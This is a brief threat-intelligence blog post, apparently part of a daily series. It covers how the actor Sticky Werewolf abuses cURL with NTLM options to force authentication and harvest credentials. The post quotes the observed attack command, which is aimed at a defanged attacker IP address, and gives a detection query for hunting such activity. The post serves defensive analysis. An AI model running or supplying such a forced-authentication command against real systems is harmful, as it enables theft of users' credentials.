315. Adversaries Abuse CURL to Collect Authentication Material
Hello everyone! Today we'll look at another curious example of Forced Authentication (T1187) , and a threat actor dubbed Sticky Werewolf. So, the adversary keep expanding its arsenal, and now uses Pulsar RAT. During the analysis of a recent campaign, we observed that the cluster leveraged cURL to obtain authentication material: cmd.exe curl -u : --ntlm hxxp://194.226.121[.]225 And yes, we have another good candidate for hunting: event_type: "processcreatewin" AND proc_file_path: "curl.exe" AND cmdline: ("u" AND "ntlm") See you tomorrow!